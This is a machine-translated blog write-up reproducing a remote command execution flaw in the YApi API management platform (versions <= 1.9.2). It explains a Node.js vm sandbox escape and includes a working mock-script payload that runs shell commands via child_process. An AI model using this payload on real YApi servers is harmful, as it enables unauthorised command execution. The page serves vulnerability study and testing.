当前位置:网站首页>Vulnerability recurrence ----- 34. Yapi remote command execution vulnerability
Vulnerability recurrence ----- 34. Yapi remote command execution vulnerability
2022-06-27 15:34:00 【Seven days】
Yapi Official website address :
http://yapi.smart-xwork.cn/
YAPI brief introduction
YAPI It's efficient 、 Easy to use 、 Powerful API Management platform , Designed to develop 、 product 、 Testers provide more elegant interface management services , Provide basic project grouping , project management , Interface management function , Friendly interface documentation , be based on websocket The editing function and class of the multi person cooperation interface postman Testing tools , Let multiple people work together to improve development efficiency , And based on Mockjs, Simple to use and powerful .
Causes of loopholes
An attacker can register a user , And use Mock Function to realize remote command execution . The principle of command execution is Node.js adopt require('vm') To build a sandbox environment , The attacker can change the running context of the sandbox environment through the prototype chain , So as to achieve the effect of sandbox escape . adopt vm.runInNewContext("this.constructor.constructor('return process')()") You can get a process object .
Affects version :Yapi <= 1.9.2
Loophole recurrence
1、 After registering the user , New projects
2、 Set up -> overall situation mock Add malicious code to the script .
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
3、 Add interface
4、 visit mock Address
边栏推荐
- ThreadLocal之强、弱、软、虚引用
- Luogu_ P1003 [noip2011 improvement group] carpet laying_ Violence enumeration
- 专家:让你低分上好校的都是诈骗
- ThreadLocal之强、弱、軟、虛引用
- Admixture usage document Cookbook
- Gin general logging Middleware
- About fast exponentiation
- The latest development course of grain college in 2022: 8 - foreground login function
- E ModuleNotFoundError: No module named ‘psycopg2‘(已解决)
- [kotlin] the next day
猜你喜欢
![[digital signal processing] discrete time signal (analog signal, discrete time signal, digital signal | sampling leads to time discrete | quantization leads to amplitude discrete)](/img/80/28d53985d56d64ca721b26e846c667.jpg)
[digital signal processing] discrete time signal (analog signal, discrete time signal, digital signal | sampling leads to time discrete | quantization leads to amplitude discrete)

ThreadLocal之强、弱、軟、虛引用

Derivation of Halcon camera calibration principle

Programming skills: script scheduling

ThreadLocal之强、弱、软、虚引用

Let's talk about the process of ES Indexing Documents
![[digital signal processing] discrete time signal (discrete time signal knowledge points | signal definition | signal classification | classification according to certainty | classification according t](/img/69/daff175c3c6a8971d631f9e681b114.jpg)
[digital signal processing] discrete time signal (discrete time signal knowledge points | signal definition | signal classification | classification according to certainty | classification according t

QT 如何在背景图中将部分区域设置为透明

Hyperledger Fabric 2. X custom smart contract

What are the operating modes of the live app? What mode should we choose?
随机推荐
ThreadLocal之强、弱、软、虚引用
E modulenotfounderror: no module named 'psychopg2' (resolved)
Pychart installation and setup
Typescript learning materials
Atomic operation class
LVI: feature extraction and sorting of lidar subsystem
Go error collection | when a function uses a return value with a parameter name
创建数据库并使用
Handling methods for NVIDIA deepstream running delay, jamming and crash
Difference between special invoice and ordinary invoice
élégant pool de threadpoolexecutor personnalisé
2022年最新《谷粒学院开发教程》:8 - 前台登录功能
Référence forte, faible, douce et virtuelle de threadlocal
Create a database and use
Cannot determine value type from string ‘<p>1</p>‘
June 27, 2022 Daily: swin transformer, Vit authors and others said: a good basic model is the simple pursuit of CV researchers
E-week finance Q1 mobile banking has 650million active users; Layout of financial subsidiaries in emerging fields
避孕套巨头过去两年销量下降40% ,下降原因是什么?
Experience sharing of mathematical modeling: comparison between China and USA / reference for topic selection / common skills
#28对象方法扩展



